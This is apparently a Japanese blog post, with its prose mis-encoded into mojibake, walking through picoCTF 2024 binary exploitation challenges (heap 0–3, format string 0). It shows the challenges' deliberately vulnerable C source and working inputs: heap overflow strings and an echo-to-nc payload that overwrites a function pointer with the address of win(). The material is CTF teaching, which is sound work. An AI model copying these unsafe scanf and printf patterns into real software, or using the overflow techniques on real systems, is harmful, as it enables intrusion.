åå ã¯ãpicoCTF ã«ç»é²ãã¦ãpicoGymã®ãBeginner picoMini 2022ãã®å
¨13åããã£ã¦ã¿ã¾ããã
ä»åã¯ãå¼ãç¶ããpicoCTF ã® picoCTF 2024 ã®ãã¡ãBinary Exploitation ã¨ããã«ãã´ãªã®å
¨10åããã£ã¦ããããã¨æãã¾ããEasy ã 2åãMedium ã 6åãHard ã 2åã§ãã
ããã§ã¯ããã£ã¦ããã¾ãã
ã¯ããã«
ãã»ãã¥ãªãã£ãã®è¨äºä¸è¦§ã§ããè¯ãã£ããåèã«ãã¦ãã ããã
ã»ãã¥ãªãã£ã®è¨äºä¸è¦§
picoCTF ã®å
¬å¼ãµã¤ãã¯ä»¥ä¸ã§ããè±èªã®ãµã¤ãã§ãããã·ã³ãã«ã§åãããããã®ã§å°ããã«é²ãããã¨ãã§ãã¾ãã
picoctf.com
ããã§ã¯ããã£ã¦ããã¾ãã
picoCTF 2024ï¼Binary Exploitation
åé¡ã®ã¿ã¤ãã«ã«çªå·ãä»ãã¦ãåé¡ã«ã¤ãã¦ã¯ãçªå·ã®è¥ãé ã«ãã£ã¦ããã¾ãã
heap 0ï¼50ãã¤ã³ãï¼
Easy ã®åé¡ã§ãããã¤ããªãã¡ã¤ã«ï¼challï¼ã 1ã¤ã¨ãã½ã¼ã¹ãã¡ã¤ã«ï¼chall.cï¼ã 1ã¤ãã¦ã³ãã¼ãã§ãã¾ããã¾ããã¤ã³ã¹ã¿ã³ã¹ï¼ãµã¼ãï¼ãèµ·åã§ããã¿ããã§ãã
ã¤ã³ã¹ã¿ã³ã¹ãèµ·åããã¨ã$ nc tethys.picoctf.net 54945
ã¨è¡¨ç¤ºããã¾ããæ¥ç¶ããã¨ããã¼ã«ã«ã®ãã¤ããªãã¡ã¤ã«ã¨åãåä½ãããããã§ãããã¼ã«ã«ã§ãããã試ãã¦ãæºåãåºæ¥ããããµã¼ãã§ãã©ã°ãåãã«è¡ãã¨ããå½¢å¼ã®ããã§ãã
$ nc tethys.picoctf.net 54945
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x583e983c32b0 -> pico
+-------------+----------------+
[*] 0x583e983c32d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
Looks like everything is still secure!
No flage for you :(
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 5
ã¾ãã¯ãç°¡åã«è¡¨å±¤è§£æãè¡ãã¾ããã¡ã¢ãªã®å®è¡ãç¦æ¢ããã¦ãããã¨ã¨ãããã°ã©ã ãã¹ã¿ãã¯ããã¼ããå
±æã©ã¤ãã©ãªã®å
¨ã¦ãã¢ãã¬ã¹ãã©ã³ãã åããã¦ãããã¨ãåããã¾ããã
$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2015ade3c2b89f5069cb8c54dd750d1b9849062d, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec --file=chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 53 Symbols No 0 2 chall
ç¶ãã¦ãéç解æã¨ãã¦ãã½ã¼ã¹ã³ã¼ããçºãã¦ã¿ã¾ãã
æåã«ããã¼ãã 2å確ä¿ããã¦ãããããã"pico" 㨠"bico" ã¨ããæååã§åæåããã¦ã"bico" ã®æ¹ã®ãã¼ãã "bico" 以å¤ã®å¤ã«åºæ¥ãã¨ãã©ã°ãç²å¾ã§ããããã§ãã
ã¡ãã¥ã¼ã® 2. Write to buffer
ãé¸æããã¨ã"pico" ã§åæåãããæ¹ã®ãã¼ãã«æ¸ãè¾¼ã¿ãè¡ããããã§ããæ¸ãè¾¼ã¿ãµã¤ãºã¯ä»»æã ã¨æãã®ã§ããã¼ããããã¡ãªã¼ãã¼ããã¼ãèµ·ãããã¨ãåºæ¥ããã§ãã
2ã¤ã®ãã¼ãé åã®ã¢ãã¬ã¹ãè¦ãã¨ã"pico" ã®æ¹ãå°ããã¢ãã¬ã¹ã«ãªã£ã¦ãã¦ã"bico" ã¨ã®å·®ã¯ï¼ä»åã¯ï¼32byte ãªã®ã§ãé©å½ã«å¤§ããªãµã¤ãºãæ¸ãè¾¼ãã°ã"bico" ã®æ¹ã¾ã§æ¸ãã¤ã¶ãããã§ãã
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
#define INPUT_DATA_SIZE 5
#define SAFE_VAR_SIZE 5
int num_allocs;
char *safe_var;
char *input_data;
void check_win() {
if (strcmp(safe_var, "bico") != 0) {
printf("\nYOU WIN\n");
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("Looks like everything is still secure!\n");
printf("\nNo flage for you :(\n");
fflush(stdout);
}
}
void print_menu() {
printf("\n1. Print Heap:\t\t(print the current state of the heap)"
"\n2. Write to buffer:\t(write to your own personal block of data "
"on the heap)"
"\n3. Print safe_var:\t(I'll even let you look at my variable on "
"the heap, "
"I'm confident it can't be modified)"
"\n4. Print Flag:\t\t(Try to print the flag, good luck)"
"\n5. Exit\n\nEnter your choice: ");
fflush(stdout);
}
void init() {
printf("\nWelcome to heap0!\n");
printf(
"I put my data on the heap so it should be safe from any tampering.\n");
printf("Since my data isn't on the stack I'll even let you write whatever "
"info you want to the heap, I already took care of using malloc for "
"you.\n\n");
fflush(stdout);
input_data = malloc(INPUT_DATA_SIZE);
strncpy(input_data, "pico", INPUT_DATA_SIZE);
safe_var = malloc(SAFE_VAR_SIZE);
strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
void print_heap() {
printf("Heap State:\n");
printf("+-------------+----------------+\n");
printf("[*] Address -> Heap Data \n");
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", input_data, input_data);
printf("+-------------+----------------+\n");
printf("[*] %p -> %s\n", safe_var, safe_var);
printf("+-------------+----------------+\n");
fflush(stdout);
}
int main(void) {
init();
print_heap();
int choice;
while (1) {
print_menu();
int rval = scanf("%d", &choice);
if (rval == EOF){
exit(0);
}
if (rval != 1) {
exit(0);
}
switch (choice) {
case 1:
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
printf("\n\nTake a look at my variable: safe_var = %s\n\n",
safe_var);
fflush(stdout);
break;
case 4:
check_win();
break;
case 5:
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
ã§ã¯ãå®éã«ãã£ã¦ã¿ã¾ãã"YOU WIN" ã¨åºã¦ããã®ã§ãããã§ãã©ã°ãåãããã§ãã
$ ./chall
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5599e5bec6b0 -> pico
+-------------+----------------+
[*] 0x5599e5bec6d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5599e5bec6b0 -> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+-------------+----------------+
[*] 0x5599e5bec6d0 -> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
Segmentation fault
次ã¯ãã¤ã³ã¹ã¿ã³ã¹ãèµ·åãã¦ãåãããã«ãã£ã¦ã¿ãã¨ããã©ã°ãåãã¾ããã
Easy ã®åé¡ã§ãããã¤ããªãã¡ã¤ã«ï¼format-string-0ï¼ã 1ã¤ã¨ãã½ã¼ã¹ãã¡ã¤ã«ï¼format-string-0.cï¼ã 1ã¤ãã¦ã³ãã¼ãã§ãã¾ããã¾ããã¤ã³ã¹ã¿ã³ã¹ï¼ãµã¼ãï¼ãèµ·åã§ããã¿ããã§ãã
ã¤ã³ã¹ã¿ã³ã¹ãèµ·åããã¨ã$ nc mimas.picoctf.net 64090 ã¨è¡¨ç¤ºããã¾ããæ¥ç¶ããã¨ããã¼ã«ã«ã®ãã¤ããªãã¡ã¤ã«ã¨åãåä½ãããããã§ãããã¼ã«ã«ã§ãããã試ãã¦ãæºåãåºæ¥ããããµã¼ãã§ãã©ã°ãåãã«è¡ãã¨ããå½¢å¼ã®ããã§ãã
ãã¼ã«ã«ã§åä½ãããå ´åã¯ããããã°ç¨ã«ãflag.txtãã¨ãããã¡ã¤ã«ãèªåã§ç¨æããå¿
è¦ãããããã§ãããã¡ã¤ã«ã®ä¸èº«ã¯ãä¾ãã°ããpicoCTF{FLAGFLAGFLAG}ããªã©ã¨ãã¦ãåããã£ã¬ã¯ããªã«ç½®ãã¨å®è¡ã§ãã¾ããã
$ nc mimas.picoctf.net 64090
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr 4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: ^C
ã¾ãã¯ãç°¡åã«è¡¨å±¤è§£æãè¡ãã¾ããã¡ã¢ãªã®å®è¡ãç¦æ¢ããã¦ãããã¨ã¨ãã¹ã¿ãã¯ããã¼ããå
±æã©ã¤ãã©ãªã®å
¨ã¦ãã¢ãã¬ã¹ãã©ã³ãã åããã¦ãã¦ãããã°ã©ã ã¯åºå®ã®ã¢ãã¬ã¹ã«é
ç½®ããããã¨ãåããã¾ããã
$ file format-string-0
format-string-0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=73480d84a806aebddd86602609fcab2052c8fa13, for GNU/Linux 3.2.0, not stripped
$ checksec --file=format-string-0
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 50 Symbols No 0 2 format-string-0
ç¶ãã¦ãéç解æã¨ãã¦ãã½ã¼ã¹ã³ã¼ããçºãã¦ã¿ã¾ãã
ã°ãã¼ãã«å¤æ°ã¨ãã¦ããã©ã°ã®é åã 64byte 確ä¿ããã¦ãã¾ãã2ã¤ã®ç°ãªã 3æã®è³ªåãåºé¡ããã¾ããå
¥åããæååã¯ã3æã®é¸æè¢ã¨ strcmp ã§æ¯è¼ããã¦ãã¾ãã
æ®éã«ããã¨ããã©ã°ã¯è¡¨ç¤ºã§ãã¾ããããã»ã°ã¡ã³ãã¼ã·ã§ã³ãã©ã¼ã«ããçºçããããã¨ãåºæ¥ãã¨ãã©ã°ã表示ããããã§ããstrcmp ã¯èå¼±æ§ã®ããé¢æ°ãªã®ã§ã大ããªæååãä¸ããã°ããã©ã°ã表示ã§ãããã§ãã
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 32
#define FLAGSIZE 64
char flag[FLAGSIZE];
void sigsegv_handler(int sig) {
printf("\n%s\n", flag);
fflush(stdout);
exit(1);
}
int on_menu(char *burger, char *menu[], int count) {
for (int i = 0; i < count; i++) {
if (strcmp(burger, menu[i]) == 0)
return 1;
}
return 0;
}
void serve_patrick();
void serve_bob();
int main(int argc, char **argv){
FILE *f = fopen("flag.txt", "r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag, FLAGSIZE, f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
serve_patrick();
return 0;
}
void serve_patrick() {
printf("%s %s\n%s\n%s %s\n%s",
"Welcome to our newly-opened burger place Pico 'n Patty!",
"Can you help the picky customers find their favorite burger?",
"Here comes the first customer Patrick who wants a giant bite.",
"Please choose from the following burgers:",
"Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe",
"Enter your recommendation: ");
fflush(stdout);
char choice1[BUFSIZE];
scanf("%s", choice1);
char *menu1[3] = {"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"};
if (!on_menu(choice1, menu1, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
int count = printf(choice1);
if (count > 2 * BUFSIZE) {
serve_bob();
} else {
printf("%s\n%s\n",
"Patrick is still hungry!",
"Try to serve him something of larger size!");
fflush(stdout);
}
}
}
void serve_bob() {
printf("\n%s %s\n%s %s\n%s %s\n%s",
"Good job! Patrick is happy!",
"Now can you serve the second customer?",
"Sponge Bob wants something outrageous that would break the shop",
"(better be served quick before the shop owner kicks you out!)",
"Please choose from the following burgers:",
"Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak",
"Enter your recommendation: ");
fflush(stdout);
char choice2[BUFSIZE];
scanf("%s", choice2);
char *menu2[3] = {"Pe%to_Portobello", "$outhwest_Burger", "Cla%sic_Che%s%steak"};
if (!on_menu(choice2, menu2, 3)) {
printf("%s", "There is no such burger yet!\n");
fflush(stdout);
} else {
printf(choice2);
fflush(stdout);
}
}
ã§ã¯ãå®éã«ãã£ã¦ã¿ã¾ããèªåã§ç¨æãããã©ã°ã表示ããã¦ããã®ã§ãããã§è¯ãããã§ãã
$ ./format-string-0
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
There is no such burger yet!
picoCTF{FLAGFLAGFLAG}
次ã¯ãã¤ã³ã¹ã¿ã³ã¹ãèµ·åãã¦ãåãããã«ãã£ã¦ã¿ãã¨ããã©ã°ãåãã¾ããã
heap 1ï¼100ãã¤ã³ãï¼
Medium ã®åé¡ã§ãããã¤ããªãã¡ã¤ã«ï¼challï¼ã 1ã¤ã¨ãã½ã¼ã¹ãã¡ã¤ã«ï¼chall.cï¼ã 1ã¤ãã¦ã³ãã¼ãã§ãã¾ããä¸ã®ãheap 0ãã¨åããã¡ã¤ã«åã§ããå¥ã®ãã¡ã¤ã«åã«ãã¦ã»ããã£ãã§ãï¼ç¬ï¼ããã¨ãã¤ã³ã¹ã¿ã³ã¹ï¼ãµã¼ãï¼ãèµ·åã§ããã¿ããã§ãã
ãã©ã«ãã§åããã®ã§ãã¤ãã§ã«ãã½ã¼ã¹å·®åãè¦ã¾ãããã¡ããã¡ãä¼¼ã¦ã¦ãéãã¯ãã»ã¨ãã©ä¸ãæã ãã§ãã
ãheap 0ãã§ã¯ãsafe_var ã¨ãã 5byte ã®é
åãã"bico" ã¨ããæååã§åæåããã¦ãã¦ããããç ´å£ãã¦ã"bico" ã§ã¯ãªãæååã«ããã°ãã©ã°ãåãã¾ãããä»åã®ãheap 1ãã§ã¯ãsave_var ã "bico" ãã "pico" ã«å¤æ´ããã°ãã©ã°ãåããããã§ãã
$ diff heap0/chall.c heap1/chall.c
--- heap0/chall.c 2024-10-03 22:08:46.030311000 +0900
+++ heap1/chall.c 2024-10-04 21:45:05.145239500 +0900
@@ -13,7 +13,7 @@
char *input_data;
void check_win() {
- if (strcmp(safe_var, "bico") != 0) {
+ if (!strcmp(safe_var, "pico")) {
printf("\nYOU WIN\n");
// Print flag
å
¥åã§ããã®ã¯ã"pico" ã§åæåããã input_data ã¨ãã 5byte ã®é
åãªã®ã§ããã¼ããããã¡ãªã¼ãã¼ããã¼ã§ã32byte å¾æ¹ã«ãã safe_var ãæ¸ãæããã°ããããã§ããåç´ã«ã32byteã®ä»»æã®æåå + "pico" ã§ããæ°ããã¾ãããã£ã¦ã¿ã¾ãã
ãã©ã°ã表示ããã¾ãããæ¬æ¥ã¯ãinput_data 㨠safe_var ã®ã¢ãã¬ã¹ãåå¾ãã¦ããã®å·®åãæ±ãã¦ããã¦ãä»»æã®æååã®æ°ã調æ´ããæ¹ãããããããã¾ããããmallocé¢æ°ã¯å¸¸ã«åãåããããã¯ããªã®ã§ãããã§å¤§ä¸å¤«ã ã¨æãã¾ãã
$ heap1/chall
Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x556e79fc46b0 -> pico
+-------------+----------------+
[*] 0x556e79fc46d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{FLAGFLAGFLAG}
次ã¯ãã¤ã³ã¹ã¿ã³ã¹ãèµ·åãã¦ãåãããã«ãã£ã¦ã¿ãã¨ããã©ã°ãåãã¾ããã
heap 2ï¼200ãã¤ã³ãï¼
ãã®ã¾ã¾ heap ã®åé¡ããã£ã¦ããã¾ãã
Medium ã®åé¡ã§ãããã¤ããªãã¡ã¤ã«ï¼challï¼ã 1ã¤ã¨ãã½ã¼ã¹ãã¡ã¤ã«ï¼chall.cï¼ã 1ã¤ãã¦ã³ãã¼ãã§ãã¾ããåããã¡ã¤ã«åã§ããã¤ã³ã¹ã¿ã³ã¹ï¼ãµã¼ãï¼ãèµ·åã§ãã¾ãã
ã½ã¼ã¹ãè¦ãã¨ãä¼¼ã¦ã¾ãããçµæ§å·®åãããã¾ããå¤æ°åã safe_var ãã x ã«å¤ãã£ã¦ãã¾ãã
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
int num_allocs;
char *x;
char *input_data;
void win() {
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
}
void check_win() { ((void (*)())*(int*)x)(); }
void print_menu() {
printf("\n1. Print Heap\n2. Write to buffer\n3. Print x\n4. Print Flag\n5. "
"Exit\n\nEnter your choice: ");
fflush(stdout);
}
void init() {
printf("\nI have a function, I sometimes like to call it, maybe you should change it\n");
fflush(stdout);
input_data = malloc(5);
strncpy(input_data, "pico", 5);
x = malloc(5);
strncpy(x, "bico", 5);
}
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
void print_heap() {
printf("[*] Address -> Value \n");
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", input_data, input_data);
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", x, x);
fflush(stdout);
}
int main(void) {
init();
int choice;
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
switch (choice) {
case 1:
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
printf("\n\nx = %s\n\n", x);
fflush(stdout);
break;
case 4:
check_win();
break;
case 5:
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
æ°ã«ãªãã¨ããã¯ããã©ã°ã表示ãã winé¢æ°ãã©ããããå¼ã°ãã¦ããªããã¨ã¨ãcheck_winé¢æ°ãã以ä¸ã®ããã«ãªã£ã¦ããã¨ããã§ãã
ããã¯ãé¢æ°ãã¤ã³ã¿ã®ãã£ã¹ãï¼(void (*)())
ï¼ãå
¥ã£ãå½¢ã§ãx ã«ãwiné¢æ°ã®ã¢ãã¬ã¹ãå
¥ãããã«ãã¦ãããã¨ããã©ã°ã表示ããããã§ãã
void check_win() { ((void (*)())*(int*)x)(); }
ä¸åº¦å®è¡ãã¦ã¿ã¾ãã
ãã¼ãé åã®ã¢ãã¬ã¹ã®å·®ã¯ãååã¨åããã32byteã§ãã
$ heap2/chall
I have a function, I sometimes like to call it, maybe you should change it
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 1
[*] Address -> Value
+-------------+-----------+
[*] 0x11b86b0 -> pico
+-------------+-----------+
[*] 0x11b86d0 -> bico
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 4
Segmentation fault
表層解æããã£ã¦ããã¾ããNo PIEï¼ããã°ã©ã èªèº«ã®ã¢ãã¬ã¹ã®ã©ã³ãã åãç¡å¹ï¼ã«å¤ãã£ã¦ãã¾ããããã§ãwiné¢æ°ã¯å¸¸ã«åãã¢ãã¬ã¹ã¨ãããã¨ã«ãªãã¾ãã
$ file heap2/chall
heap2/chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d5184d264ae0c1259ba3bb7a1e20fc348b4274b0, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec --file=heap2/chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 51 Symbols No 0 2 heap2/chall
winé¢æ°ã®ã¢ãã¬ã¹ãåå¾ãã¾ãã
$ nm heap2/chall | grep win
00000000004011f0 T check_win
00000000004011a0 T win
32byteã®ä»»æã®æååã®å¾ã«ããã®ã¢ãã¬ã¹ãå
¥ãã¦ãããã°ããã¯ãã§ãã
æ®éã«ããã¨ããã¤ããªã®å
¥åãåºæ¥ãªãã®ã§ãecho ã使ã£ã¦å
¥åãã¾ããçªå·ã®å
¥åãå¿
è¦ãªã®ã§ãçªå·ã¨æ¹è¡ãçµã¿åããã¾ããç¡äºããã©ã°ã表示ããã¾ããã
$ echo -e '2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\x11\x40\x00\n4\n' | heap2/chall
I have a function, I sometimes like to call it, maybe you should change it
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: Data for buffer:
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: picoCTF{FLAGFLAGFLAG}
ã¤ã³ã¹ã¿ã³ã¹ãèµ·åãã¦ãåãããã«ããã°ãã©ã°ã表示ããã¾ããããå®è¡æ¹æ³ã ãæ¸ãã¦ããã¾ãã
$ echo -e '2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\x11\x40\x00\n4\n' | nc mimas.picoctf.net 50227
heap 3ï¼200ãã¤ã³ãï¼
æå¾ã® heapåé¡ã§ãã
Medium ã®åé¡ã§ãããã¤ããªãã¡ã¤ã«ï¼challï¼ã 1ã¤ã¨ãã½ã¼ã¹ãã¡ã¤ã«ï¼chall.cï¼ã 1ã¤ãã¦ã³ãã¼ãã§ãã¾ããåããã¡ã¤ã«åã§ããã¤ã³ã¹ã¿ã³ã¹ï¼ãµã¼ãï¼ãèµ·åã§ãã¾ãã
ã½ã¼ã¹ã¯å¤§ããå¤ãã£ã¦ããã®ã§ãæ®éã«ãã£ã¦ããã¾ãã
表層解æã§ããheap 2 ã¨åãã§ãããã¡ã¢ãªå®è¡ç¦æ¢ãããã°ã©ã èªèº«ã®ã¢ãã¬ã¹ã¯ã©ã³ãã åãããªãã§ãã
$ file heap3/chall
heap3/chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3fa64145c4efbd5a267e0525f58e294fba23ad2f, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec --file=heap3/chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 52 Symbols No 0 2 heap3/chall
ã½ã¼ã¹ã³ã¼ãã確èªãã¾ãã
æåã«ãobjectæ§é ä½ã®é åã確ä¿ãããflagã¡ã³ãå¤æ°ã "bico" ã§åæåããã¦ãã¾ããflagã¡ã³ãå¤æ°ã "pico" ã«å¤æ´ã§ããã¨ãã©ã°ã表示ããããã§ãã
ä»åã¯ãã¾ããå
¥åããå¤ã®ãµã¤ãºã§ mallocé¢æ°ã§é åã確ä¿ããããã«å¤ãæ¸ãè¾¼ããããã§ãããã¨ãã¡ã¢ãªã解æ¾ããæ©è½ãããã¾ãã
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
typedef struct {
char a[10];
char b[10];
char c[10];
char flag[5];
} object;
int num_allocs;
object *x;
void check_win() {
if(!strcmp(x->flag, "pico")) {
printf("YOU WIN!!11!!\n");
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
} else {
printf("No flage for u :(\n");
fflush(stdout);
}
}
void print_menu() {
printf("\n1. Print Heap\n2. Allocate object\n3. Print x->flag\n4. Check for win\n5. Free x\n6. "
"Exit\n\nEnter your choice: ");
fflush(stdout);
}
void init() {
printf("\nfreed but still in use\nnow memory untracked\ndo you smell the bug?\n");
fflush(stdout);
x = malloc(sizeof(object));
strncpy(x->flag, "bico", 5);
}
void alloc_object() {
printf("Size of object allocation: ");
fflush(stdout);
int size = 0;
scanf("%d", &size);
char* alloc = malloc(size);
printf("Data for flag: ");
fflush(stdout);
scanf("%s", alloc);
}
void free_memory() {
free(x);
}
void print_heap() {
printf("[*] Address -> Value \n");
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", x->flag, x->flag);
printf("+-------------+-----------+\n");
fflush(stdout);
}
int main(void) {
init();
int choice;
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
switch (choice) {
case 1:
print_heap();
break;
case 2:
alloc_object();
break;
case 3:
printf("\n\nx = %s\n\n", x->flag);
fflush(stdout);
break;
case 4:
check_win();
break;
case 5:
free_memory();
break;
case 6:
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
ä½ã¨ãªããããæ¹ãåãã£ãæ°ããã¾ããUse After Free ã¨ããææ³ã§ããmallocé¢æ°ã§ç¢ºä¿ããé åã解æ¾ããå¾ãåç
§ãã¦ãã¾ãï¼objectæ§é ä½ã® flag ãåç
§ãã¦ãã¾ãï¼ãã¨ãå©ç¨ãã¦ã解æ¾ããé åã確ä¿ãã¦å¥ã®å¤ã«æ¸ãæããææ³ã§ãã
objectæ§é ä½ã®é åã解æ¾ããå¾ãåããã¼ãé åã確ä¿ããå¿
è¦ãããã¾ãããã®ããã«ã¯ãmallocé¢æ°ã®ä»çµã¿ãç¥ãå¿
è¦ãããã¾ããmallocé¢æ°ã¯ãããããªãªã¹ãã§é åã管çãã¦ãã¾ãããæåã«ä½¿ããã tcache bins ãç¥ã£ã¦ããã°ãä»åã®åé¡ã¯è§£ãããã§ãã
